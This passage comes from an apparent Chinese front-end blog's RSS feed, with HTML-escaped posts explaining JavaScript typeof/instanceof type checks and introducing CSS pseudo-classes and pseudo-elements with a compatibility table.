&lt;p&gt;所有的类型判断里当属&lt;code&gt;typeof&lt;/code&gt;最为经典，其最为出名之处就是这玩意不顶用，&lt;code&gt;typeof&lt;/code&gt;居然会将&lt;code&gt;null&lt;/code&gt;判定为&lt;code&gt;object&lt;/code&gt;，但这到底是什么原因？实际上，这就是JS这门编程语言的官方团队造出来的一个bug。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;u&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nu&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sy&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Symbol&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;big&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1234&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(){}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;date&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Date();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// number
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;// boolean
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;u&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;// undifined
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;sy&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;// symbol
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;big&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;// bigint
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;nu&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;//将null判断为object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//以下为引用类型，除了function，一律被判断为object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;date&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 所有引用类型只能判断function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;typeof&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;)) &lt;span style="color:#75715e"&gt;//function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;原因就是：&lt;code&gt;typeof&lt;/code&gt;会把所有传进去的值都转成二进制，而当年JS制定的规则便是：原始类型的被转为二进制的前面三个值绝对不为零，而&lt;code&gt;typeof&lt;/code&gt;会把前三位为零的类型全部认定为对象，&lt;code&gt;null&lt;/code&gt;这个类型又是JS语言后来引入的。遵循其他语言的原则，JS语言将&lt;code&gt;null&lt;/code&gt;的二进制值定为一长串的0，因此&lt;code&gt;typeof&lt;/code&gt;在判断时会将其认定为&lt;code&gt;object&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;因此，面试官一般不会询问判断方法 &lt;code&gt;typeof&lt;/code&gt; 的原理。&lt;/p&gt;
&lt;h2 id="手写一个instanceof"&gt;手写一个instanceof&lt;/h2&gt;
&lt;p&gt;相较于&lt;code&gt;typeof&lt;/code&gt;，&lt;code&gt;instanceof&lt;/code&gt;有其优越之处，也有其不足之处，比如，&lt;code&gt;instanceof&lt;/code&gt;只能判断引用类型，并且是通过原型链查找来判断类型。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;f&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;u&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nu&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sy&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Symbol&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;big&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1234&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(){}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;date&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Date();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; String); &lt;span style="color:#75715e"&gt;// false instanceof 不能判断原始类型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 以下为引用类型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Object) ; &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Object); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Function); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;date&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; Date); &lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;首先要知道每个类型的原型都不相同。&lt;/p&gt;</description></item><item><title>伪类和伪元素</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-002/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-002/</guid><description>&lt;h2 id="什么是伪类和伪元素"&gt;什么是伪类和伪元素？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;伪类&lt;/strong&gt;：以冒号(:)开头，用于选择处于特定状态的元素。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;伪元素&lt;/strong&gt;：以双冒号(::)开头，用于在文档中插入虚构的元素。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这么说有点抽象，我们来看具体案例。例如下面的伪类语法表达的意思是：&lt;strong&gt;文档里的那些已经被用户访问过的 a 标签，当鼠标悬浮在它上面的时候，颜色为红色。&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;visited&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;hover&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-002/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，无论是 &lt;code&gt;visited&lt;/code&gt;还是 &lt;code&gt;hover&lt;/code&gt;，都表示了 a 标签的某种状态，选择器始终选择的是伪类前面的元素，只不过当出现伪类描述的状态时，样式才生效而已。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意，上面使用的是无痕浏览器打开的页面，是不可能出现 visited 状态的，因为无痕不记录访问历史，我们可以点击控制台的 :hov 图标手动勾选 :visited 和 :hover 来模拟 a 标签「已访问」和「悬浮」两种状态。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们再来看一下伪元素的案例，下面的语法表达的意思是： &lt;strong&gt;div 标签里面首字的颜色为红色。&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;::&lt;span style="color:#a6e22e"&gt;first-letter&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-002/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;与伪类不同的是，首字并不是 div 元素的某种状态，而是浏览器创建出来的一个虚拟的元素，我们可以在上图的右下角看到 &lt;code&gt;Pseudo ::first-letter element&lt;/code&gt;提示，相当于浏览器自动选中了「彻」字。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：::first-letter 伪元素只作用于块状元素上面，如果把 div 换成 span，就无法选中首字了，除非手动设置 span 的 display 属性为 block 或 inline-block 等块状值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;从上面的案例当中，我们可以得出两个结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;伪类用于&lt;strong&gt;向某些已经存在的选择器添加特殊效果（当状态改变时）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;伪元素用于&lt;strong&gt;将特殊效果添加到不存在的虚拟元素中（浏览器自动创建）&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说伪类的本质还是类（class），作用于标签本身，只不过限定了状态条件；而伪元素的本质是元素（element），作用于该虚拟元素的内容本身。&lt;/p&gt;
&lt;h2 id="伪类有哪些"&gt;伪类有哪些？&lt;/h2&gt;
&lt;p&gt;按照功能，可划分为以下几类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;动态伪类：&lt;code&gt;:visited&lt;/code&gt;、&lt;code&gt;:focus&lt;/code&gt;、&lt;code&gt;:hover&lt;/code&gt;等&lt;/li&gt;
&lt;li&gt;状态伪类：&lt;code&gt;:disabled&lt;/code&gt;、&lt;code&gt;:empty&lt;/code&gt;、&lt;code&gt;:required&lt;/code&gt; 等&lt;/li&gt;
&lt;li&gt;结构伪类：&lt;code&gt;:first-child&lt;/code&gt;、&lt;code&gt;:nth-of-type&lt;/code&gt;等&lt;/li&gt;
&lt;li&gt;其他伪类：&lt;code&gt;:target&lt;/code&gt;、&lt;code&gt;:lang&lt;/code&gt;、&lt;code&gt;:not()&lt;/code&gt;等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面的表格详细记录了各种伪类及其描述：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;伪类&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;兼容性&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:active&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素处于活动状态时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aactive"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:focus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素已获取焦点时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Afocus"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:hover&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素处于悬浮状态时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Ahover"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;链接未访问时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Alink"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:visited&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;链接已访问时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Avisited"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:first-child&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是首个子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Afirst-child"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:last-child&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是最后一个子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Alast-child"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:nth-child()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是第 n 个子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Anth-child"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:nth-last-child()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是倒数第 n 个子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Anth-last-child"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:only-child&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是唯一子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aonly-child"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:first-of-type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是首个特定类型的子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Afirst-of-type"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:last-of-type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是最后一个特定类型的子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Alast-of-type"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:nth-of-type()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是第 n 个特定类型的子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Anth-of-type"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:nth-last-of-type()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是倒数第 n 个特定类型的子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Anth-last-of-type"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:only-of-type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是唯一的特定类型的子元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aonly-of-type"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:not&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不满足指定条件时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Anot"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:target&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素 id 匹配到哈希值时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Atarget"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;:root&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;元素是文档树的根元素时&lt;/td&gt;
&lt;td&gt;&lt;a href="https://caniuse.com/?search=%3Aroot"&gt;✅&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
